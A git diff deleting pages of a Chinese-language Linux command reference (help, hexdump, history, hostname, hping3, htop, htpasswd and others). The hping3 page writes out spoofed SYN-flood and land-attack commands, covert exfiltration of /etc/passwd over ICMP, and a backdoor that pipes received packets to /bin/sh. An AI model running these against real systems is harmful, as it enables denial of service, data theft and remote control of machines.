- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/help.html b/linux-command.docset/Contents/Resources/Documents/c/help.html deleted file mode 100644 index f7f5642951..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/help.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - - - - - help 命令,Linux help 命令详解:该命令是bash内建命令,用于显示bash内建命令的帮助信息。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

help

-

该命令是bash内建命令,用于显示bash内建命令的帮助信息。

-

补充说明

-

help命令 help命令只能显示bash内建命令的帮助信息,而对于外部命令的帮助信息只能使用man或者info命令查看。

-

语法

-
help(选项)(参数)
-
-

选项

-
-d:显示内建命令的简要描述。
--m:按照man手册的格式输出内建命令的帮助信息。
--s:仅输出内建命令的命令格式。
-不指定选项时:输出的帮助信息类似于-m选项,但是缺少段落名称和'SEE ALSO''IMPLEMENTATION'部分。
-
-

参数

-

bash内建命令(可以为多个,请用空格分隔开)。

-

常见问题

-

Q:有哪些命令是bash内建命令?我如何判断一个命令是否为bash内建命令?

-

A:您可以在终端使用 'man builtin' 或 'man builtins' 来获取;您可以查看bash内建命令 'type' 的帮助信息。

-

Q:那么help命令本身的帮助信息如何获取?

-

A:把help作为参数传给help命令;)

-

Q:为什么echo也可以用 'man echo' 来查看帮助信息?

-

A:因为除了bash内建的echo,GNU/linux的coreutils包里也有该命令;在echo的man手册中,DESCRIPTION段落的 'NOTE' 也提示了和同名内建的不同。

-

PS:当你在shell脚本里定义了一个叫 'echo' 的函数,那么调用的时候优先级会如何呢?

-

请参考 'builtin' 命令

-

Q:我需要获得更多的bash的相关帮助信息

-

A:限于篇幅和主题,您可以在终端执行 'man bash' , 'info bash' ,访问bash官方网站,以及搜索引擎等。

-

实例

-

使用help命令显示shell内部shopt命令的帮助信息,输入如下命令:

-
help shopt                #获取shopt命令的帮助信息
-shopt: shopt [-pqsu] [-o long-option] optname [optname...]
-    Toggle the values of variables controlling optional behavior.
-    The -s flag means to enable (set) each OPTNAME; the -u flag
-    unsets each OPTNAME.  The -q flag suppresses output; the exit
-    status indicates whether each OPTNAME is set or unset.  The -o
-    option restricts the OPTNAMEs to those defined for use with
-    `set -o'.  With no options, or with the -p option, a list of all
-    settable options is displayed, with an indication of whether or
-    not each is set.
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/hexdump.html b/linux-command.docset/Contents/Resources/Documents/c/hexdump.html deleted file mode 100644 index c49fe95709..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/hexdump.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - hexdump 命令,Linux hexdump 命令详解:显示文件十六进制格式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

hexdump

-

显示文件十六进制格式

-

补充说明

-

hexdump命令 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。

-

语法

-
hexdump [选项] [文件]...
-
-

选项

-
-n length 只格式化输入文件的前length个字节。
--C 输出规范的十六进制和ASCII码。
--b 单字节八进制显示。
--c 单字节字符显示。
--d 双字节十进制显示。
--o 双字节八进制显示。
--x 双字节十六进制显示。
--s 从偏移量开始输出。
--e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"'。
-
-

每个格式字符串由三部分组成,每个由空格分隔,第一个形如a/b,b表示对每b个输入字节应用format1格式,a表示对每a个输入字节应用format2格式,一般a>b,且b只能为1,2,4,另外a可以省略,省略则a=1。format1和format2中可以使用类似printf的格式字符串,如:

-
%02d:两位十进制
-%03x:三位十六进制
-%02o:两位八进制
-%c:单个字符等
-
-

还有一些特殊的用法:

-
%_ad:标记下一个输出字节的序号,用十进制表示。
-%_ax:标记下一个输出字节的序号,用十六进制表示。
-%_ao:标记下一个输出字节的序号,用八进制表示。
-%_p:对不能以常规字符显示的用 . 代替。
-
-

同一行如果要显示多个格式字符串,则可以跟多个-e选项。

-

实例

-
hexdump -e '16/1 "%02X " "  |  "' -e '16/1 "%_p" "\n"' test
-00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  |  ................  
-10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F  |  ................  
-20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F  |   !"#$%&'()*+,-./ 
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/history.html b/linux-command.docset/Contents/Resources/Documents/c/history.html deleted file mode 100644 index bd7f06bc3d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/history.html +++ /dev/null @@ -1,132 +0,0 @@ - - - - - - - - - - - history 命令,Linux history 命令详解:显示或操作历史列表。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

history

-

显示或操作历史列表。

-

概要

-
history [-c] [-d offset] [n]
-history -anrw [filename]
-history -ps arg [arg...]
-
-

主要用途

-
    -
  • -

    显示历史列表。

    -
  • -
  • -

    操作历史列表。

    -
  • -
-

选项

-
-c           清空历史列表。
--d offset    根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。
--a           将当前终端的历史记录行添加到历史记录文件。
--n           将尚未从历史文件中读取的历史行追加到当前历史列表中。
--r           读取历史文件,并将其内容附加到历史列表中。
--w           将当前历史记录列表附加到历史记录文件中并且附加它们到历史列表中。
--p           在每个arg上执行历史记录扩展并在标准输出上显示结果,而不将结果存储在历史记录列表中。
--s           将每个arg作为单个条目附加到历史记录列表。
-
-

参数

-

n:可选,只列出最近的n条记录。

-

filename:可选,表示历史文件;默认调用顺序为filename、环境变量HISTFILE~/.bash_history

-

返回值

-

返回成功,除非提供了非法选项或出现了错误。

-

例子

-

使用history命令显示最近使用的10条历史命令

-
[root@localhost ~]# history 10
-   92  ls
-   93  cd ..
-   94  ls
-   95  exit
-   96  ls -a
-   97  cd .ssh/
-   98  ls
-   99  cat known_hosts
-  100  exit
-  101  history 10
-
-

清空历史记录

-
[root@localhost ~]# history -c
-
-

更多实例:

-
# 执行第 n 条历史命令
-[root@localhost ~]# !n
-
-# 执行最后一条 xxx 开头的命令
-[root@localhost ~]# !xxx
-
-

注意

-
    -
  1. 在命令行中,可以使用符号!执行指定序号的历史命令。例如,要执行第2个历史命令,则输入!2
  2. -
  3. 关闭终端后,历史列表将被写入历史文件~/.bash_history
  4. -
  5. 环境变量HISTSIZE决定了历史文件中命令的存储数量,默认存储1000条。
  6. -
  7. 环境变量HISTTIMEFORMAT如果是非空值,则使用其值作为strftime(3)打印相关时间戳的格式字符串添加在每个显示的历史记录之前;否则不会打印时间戳。
  8. -
  9. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  10. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/host.html b/linux-command.docset/Contents/Resources/Documents/c/host.html deleted file mode 100644 index 88aa3b3e75..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/host.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - - - - - host 命令,Linux host 命令详解:常用的分析域名查询工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

host

-

常用的分析域名查询工具

-

补充说明

-

host命令 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。

-

语法

-
host(选项)(参数)
-
-

选项

-
-a:显示详细的DNS信息;
--c<类型>:指定查询类型,默认值为“IN“;
--C:查询指定主机的完整的SOA记录;
--r:在查询域名时,不使用递归的查询方式;
--t<类型>:指定查询的域名信息类型;
--v:显示指令执行的详细信息;
--w:如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答;
--W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令;
--4:使用IPv4;
--6:使用IPv6.
-
-

参数

-

主机:指定要查询信息的主机信息。

-

实例

-
[root@localhost ~]# host www.jsdig.com 
-www.jsdig.com is an alias for host.1.jsdig.com.
-host.1.jsdig.com has address 100.42.212.8
-
-[root@localhost ~]# host -a www.jsdig.com
-Trying "www.jsdig.com"
-;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34671
-;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
-
-;; QUESTION SECTION:
-;www.jsdig.com.               IN      ANY
-
-;; ANSWER SECTION:
-www.jsdig.com.        463     IN      CNAME   host.1.jsdig.com.
-
-Received 54 bytes from 202.96.104.15#53 in 0 ms
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/hostid.html b/linux-command.docset/Contents/Resources/Documents/c/hostid.html deleted file mode 100644 index 041819fc69..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/hostid.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - hostid 命令,Linux hostid 命令详解:显示当前主机的十六进制数字标识。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

hostid

-

显示当前主机的十六进制数字标识。

-

概要

-
hostid [OPTION]...
-
-

主要用途

-
    -
  • 显示当前主机的十六进制标识符。
  • -
  • 用来限制软件的使用权限,不可改变。
  • -
-

选项

-
--help       显示帮助信息并退出。
---version    显示版本信息并退出。
-
-

例子

-
[root@localhost ~]# hostid
-007f0100
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 hostidinfo coreutils 'hostid invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/hostname.html b/linux-command.docset/Contents/Resources/Documents/c/hostname.html deleted file mode 100644 index ecae6df2cd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/hostname.html +++ /dev/null @@ -1,114 +0,0 @@ - - - - - - - - - - - hostname 命令,Linux hostname 命令详解:显示和设置系统的主机名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

hostname

-

显示和设置系统的主机名

-

补充说明

-

hostname命令 -用于显示和设置系统的主机名称。

-
    -
  • 环境变量 HOSTNAME 也保存了当前的主机名。
  • -
  • 在使用 hostname 命令设置主机名后,系统并不会永久保存新的主机名,重启之后还是原来的主机名。如果需要永久修改主机名,需要修改 /etc/hosts/etc/sysconfig/network 的相关内容并进行重启;也可以使用 hostnamectl 命令进行永久修改。
  • -
-

语法

-
hostname [-b] {hostname|-F file}           设置主机名称(或从文件获取)
-hostname [-a|-A|-d|-f|-i|-I|-s|-y]         显示格式化的名称
-hostname                                   显示主机名称
-
-{yp,nis,}domainname {nisdomain|-F file}    设置 NIS 主机名称(或从文件获取)
-{yp,nis,}domainname                        显示 NIS 主机名称
-
-dnsdomainname                              显示 DNS 主机名称
-
-hostname -V|--version|-h|--help            打印信息并退出
-
-

选项

-
-a, --alias               显示主机别名
--A, --all-fqdns           显示所有FQDN名称
--b, --boot                如果没有可用的主机名,则设置默认主机名
--d, --domain              显示DNS域名
--f, --fqdn, --long        显示FQDN名称
--F, --file                从给定文件中读取主机名或NIS域名
--i, --ip-address          显示主机的ip地址
--I, --all-ip-addresses    显示主机所有的ip地址
--s, --short               显示短主机名称,在第一个点处截断
--y, --yp, --nis           显示NIS域名
-
-

实例

-

显示主机名

-
[root@AY1307311912260196fcZ ~]# hostname
-AY1307311912260196fcZ
-
-

临时改变主机名

-
[root@AY1307311912260196fcZ ~]# hostname newname
-
-

显示主机的所有IP地址

-
[root@AY1307311912260196fcZ ~]# hostname -I
-10.17.0.1 10.18.0.10 172.17.0.1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/hostnamectl.html b/linux-command.docset/Contents/Resources/Documents/c/hostnamectl.html deleted file mode 100644 index 88a0324035..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/hostnamectl.html +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - hostnamectl 命令,Linux hostnamectl 命令详解:查询或更改系统主机名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

hostnamectl

-

查询或更改系统主机名

-

补充说明

-

hostnamectl可用于查询和更改系统主机名和相关设置。

-

语法

-
hostnamectl [选项...] 指令 ...
-
-

指令

-
status                 显示当前主机名设置
-set-hostname NAME      设置系统主机名
-set-icon-name NAME     设置主机的图标名称
-set-chassis NAME       设置主机的机箱类型 
-set-deployment NAME    设置主机的部署环境 
-set-location NAME      设置主机位置
-
-

选项

-
-h --help               显示此帮助
-    --version           显示包的版本
-    --no-ask-password   不提示输入密码
--H --host=[USER@]HOST   在远程主机上操作
--M --machine=CONTAINER  在本地容器上执行操作。指定要连接到的容器名称。
---transient, --static, --pretty  
-                        如果调用了status(或者没有给出显式命令)并且指定了其中一个开关,hostnamectl将只打印出这个选定的主机名。
-
-

实例

-

显示主机名设置

-
$ hostnamectl status
-
-

改变主机名(永久修改,不用重启哦~)

-
$ sudo hostnamectl set-hostname newname
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/hping3.html b/linux-command.docset/Contents/Resources/Documents/c/hping3.html deleted file mode 100644 index 40a9e4ea34..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/hping3.html +++ /dev/null @@ -1,171 +0,0 @@ - - - - - - - - - - - hping3 命令,Linux hping3 命令详解:测试网络及主机的安全 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

hping3

-

测试网络及主机的安全

-

补充说明

-

hping 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

-

安装

-
yum install libpcap-devel tc-devel
-ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
-wget http://www.hping.org/hping3-20051105.tar.gz
-tar zxvf hping3-20051105.tar.gz
-cd hping3-20051105
-./configure
-make
-make install
-
-

选项

-
-H --help 显示帮助。
--v -VERSION 版本信息。
--c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
--i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
--n -nmeric 数字输出,象征性输出主机地址。
--q -quiet 退出。
--I --interface interface name 无非就是eth0之类的参数。
--v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
--D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
--z --bind 快捷键的使用。
--Z --unbind 消除快捷键。
--O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
--1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
--2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
--9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
--a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
--t --ttl time to live 可以指定发出包的TTL值。
--H --ipproto 在RAW IP模式里选择IP协议。
--w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
--r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
--F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
--x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
--y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
--G --fragoff fragment offset value set the fragment offset
--m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
--G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
--C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
--K --ICMPCODE CODE 指定ICMP代号,缺省0。
---icmp-ipver 把IP版本也插入IP头。
---icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
---icmp-iplen 设置IP包长度。
---icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
---icmp-ipproto 设置协议的,缺省是TCP。
--icmp-cksum 设置校验和。
--icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
---icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
--s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
--p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
---keep 上面说过了。
--w --win 发的大小和windows一样大,64BYTE。
--O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
--m --tcpseq 设置TCP序列数。
--l --tcpck 设置TCP ack。
--Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
-
-

Hping3功能

-

Hping3主要有以下典型功能应用:

-

#  防火墙测试

-

使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

-

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

-
hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
-
-

# 端口扫描

-

Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

-
hping3 -I eth0  -S 192.168.10.1 -p 80
-
-

其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。

-

hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

-

# Idle扫描

-

Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。

-

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

-

# 拒绝服务攻击

-

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

-
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
-
-

其他攻击如smurf、teardrop、land attack等也很容易构建出来。

-

# 文件传输

-

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

-
hping3 192.168.1.159--listen signature --safe  --icmp
-
-

监听ICMP包中的签名,根据签名解析出文件内容。

-

在发送端使用签名打包的ICMP包发送文件:

-
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
-
-

/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

-

# 木马功能

-

如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

-

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

-

在木马启动端:

-
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
-
-

在远程控制端:

-
echo ls >test.cmd
-hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
-
-

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

-

当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/htdigest.html b/linux-command.docset/Contents/Resources/Documents/c/htdigest.html deleted file mode 100644 index f0c8e03322..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/htdigest.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - htdigest 命令,Linux htdigest 命令详解:Apache服务器内置工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

htdigest

-

Apache服务器内置工具

-

补充说明

-

htdigest命令 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。

-

语法

-
htdigest(选项)(参数)
-
-

选项

-
-c:创建密码文件。
-
-

参数

-
    -
  • 密码文件:指定要创建或更新的密码文件;
  • -
  • 域:指定用户名所属的域;
  • -
  • 用户名:要创建或者更新的用户名。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/htop.html b/linux-command.docset/Contents/Resources/Documents/c/htop.html deleted file mode 100644 index f2a3b63f6c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/htop.html +++ /dev/null @@ -1,183 +0,0 @@ - - - - - - - - - - - htop 命令,Linux htop 命令详解:[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

htop

-

[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况

-

补充说明

-

htop命令 是Linux系统中的一个互动的进程查看器,一个文本模式的应用程序(在控制台或者X终端中),需要ncurses。

-

与Linux传统的top相比,htop更加人性化。它可让用户交互式操作,支持颜色主题,可横向或纵向滚动浏览进程列表,并支持鼠标操作。

-

与top相比,htop有以下优点:

-
    -
  • 可以横向或纵向滚动浏览进程列表,以便看到所有的进程和完整的命令行。
  • -
  • 在启动上,比top 更快。
  • -
  • 杀进程时不需要输入进程号。
  • -
  • htop 支持鼠标操作。
  • -
  • 两者相比起来,top比较繁琐。
  • -
-

top缺点:

-
    -
  • 只支持键盘操作。
  • -
  • 显示也单调。
  • -
-

htop 官网:http://htop.sourceforge.net/

-

语法

-
htop
-
-

参数

-
-C --no-color               使用单色配色方案
--d --delay=DELAY            设置更新之间的延迟,在十秒
--s --sort-key=COLUMN        纵列排序(try --sort-key=help for a list)
--u --user=USERNAME          只显示一个指定用户的进程
--p --pid=PID,[,PID,PID...]  只显示给用户
--h --help                   打印此命令帮助
--v --version                打印版本信息
-
-

选项

-
h,?     F1:查看htop使用说明
-S       F2:设置
-/       F3:搜索进程
-\       F4:过滤器,按关键字搜索
-t       F5:显示树形结构
-<,>     F6:选择排序方式
-[       F7:减少nice值,这样就可以提高对应进程的优先级
-]       F8:增加nice值,这样可以降低对应进程的优先级
-k       F9:杀掉选中的进程
-q       F10:退出htop
-
-
-/ : 搜索字符
-h : 显示帮助
-l : 显示进程打开的文件: 如果安装了lsof,按此键可以显示进程所打开的文件
-u : 显示所有用户,并可以选择某一特定用户的进程
-U : 取消标记所有的进程
-s : 将调用strace追踪进程的系统调用
-t : 显示树形结构
-
-H:显示/隐藏用户线程
-I:倒转排序顺序
-K:显示/隐藏内核线程    
-M:按内存占用排序
-P:按CPU排序    
-T:按运行时间排序
-
-上下键或PgUP, PgDn : 移动选中进程  
-左右键或Home, End : 移动列表  
-Space(空格) : 标记/取消标记一个进程。命令可以作用于多个进程,例如 "kill",将应用于所有已标记的进程  
-
-```shell
-
-
-### Htop设定
-
-鼠标点击Setup或者按下F2 之后进入htop 设定的页面
-
-#### 1. Meters
-
-设定顶端的 显示信息,分为左右两侧,Left column 表示左侧的显示的信息,Right column表示右侧显示的信息,如果要新加选项,可以选择Available meters添加,F5新增到上方左侧,F6新增到上方右侧。Left column和Right column下面的选项,可以选定信息的显示方式,有LED、Bar(进度条)、Text(文本模式),可以根据个人喜好进行设置
-
-#### 2. Display options
-
-选择要显示的内容,按空格 x表示显示,选择完后,按F10保存
-
-#### 3. Colors
-
-设定界面以什么颜色来显示,个人认为用处不大,各人喜好不同
-
-#### 4. Colums
-
-作用是增加或取消要显示的各项内容,选择后F7(向上移动)、F8(向下移动)、F9(取消显示、F10(保存更改))此处增加了PPID、PGRP,根据各人需求,显示那些信息。
-
-**F3 搜索进程**
-
-在界面下按F3或直接输入”/”就可以直接进入搜索模式,是按照进程名进行搜索的,搜索到的进程会用设定的颜色标记出来,方便查看。
-
-**F4:过滤器**
-
-相当于模糊查找,不区分大小写,下方输入要搜索的内容后,则界面只显示搜索到的内容,更加方便查看
-
-**F5:以树形方式显示**
-
-
-**F6:排序方式**
-
-按下F6后会跳转至以树形方式显示界面,让您选择以什么方式进行排序,在Sort by下选择您要以什么来排序
-
-**F7,F8:调整进程nice值**
-
-F7表示减小nice值(增大优先级),F8增大nice值(减小优先级),选择某一进程,按F7或F8来增大或减小nice值,nice值范围为-20-19
-
-
-**F9:杀死进程**
-
-选择某一进程按F9即可杀死此进程,很方便
-
-**F10:退出htop**
-
-
-<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
-
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/htpasswd.html b/linux-command.docset/Contents/Resources/Documents/c/htpasswd.html deleted file mode 100644 index 70c48036f1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/htpasswd.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - htpasswd 命令,Linux htpasswd 命令详解:apache服务器创建密码认证文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

htpasswd

-

apache服务器创建密码认证文件

-

补充说明

-

htpasswd命令 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。

-

语法

-

htpasswd(选项)(参数)

-

选项

-
-c:创建一个加密文件;
--n:不更新加密文件,只将加密后的用户名密码显示在屏幕上;
--m:默认采用MD5算法对密码进行加密;
--d:采用CRYPT算法对密码进行加密;
--p:不对密码进行进行加密,即明文密码;
--s:采用SHA算法对密码进行加密;
--b:在命令行中一并输入用户名和密码而不是根据提示输入密码;
--D:删除指定的用户。
-
-

参数

-
    -
  • 用户:要创建或者更新密码的用户名;
  • -
  • 密码:用户的新密码。
  • -
-

实例

-

利用htpasswd命令添加用户

-
htpasswd -bc .passwd www.jsdig.com php
-
-

在bin目录下生成一个.passwd文件,用户名www.jsdig.com,密码:php,默认采用MD5加密方式。

-

在原有密码文件中增加下一个用户

-
htpasswd -b .passwd Jack 123456
-
-

去掉-c选项,即可在第一个用户之后添加第二个用户,依此类推。

-

不更新密码文件,只显示加密后的用户名和密码

-
htpasswd -nb Jack 123456
-
-

不更新.passwd文件,只在屏幕上输出用户名和经过加密后的密码。

-

利用htpasswd命令删除用户名和密码

-
htpasswd -D .passwd Jack
-
-

利用htpasswd命令修改密码

-
htpasswd -D .passwd Jack
-htpasswd -b .passwd Jack 123456
-
-

即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/hwclock.html b/linux-command.docset/Contents/Resources/Documents/c/hwclock.html deleted file mode 100644 index 7988ba1b3a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/hwclock.html +++ /dev/null @@ -1,107 +0,0 @@ - - - - - - - - - - - hwclock 命令,Linux hwclock 命令详解:显示与设定硬件时钟 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

hwclock

-

显示与设定硬件时钟

-

补充说明

-

hwclock命令 是一个硬件时钟访问工具,它可以显示当前时间、设置硬件时钟的时间和设置硬件时钟为系统时间,也可设置系统时间为硬件时钟的时间。

-

在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。

-

语法

-
hwclock(选项)
-
-

选项

-
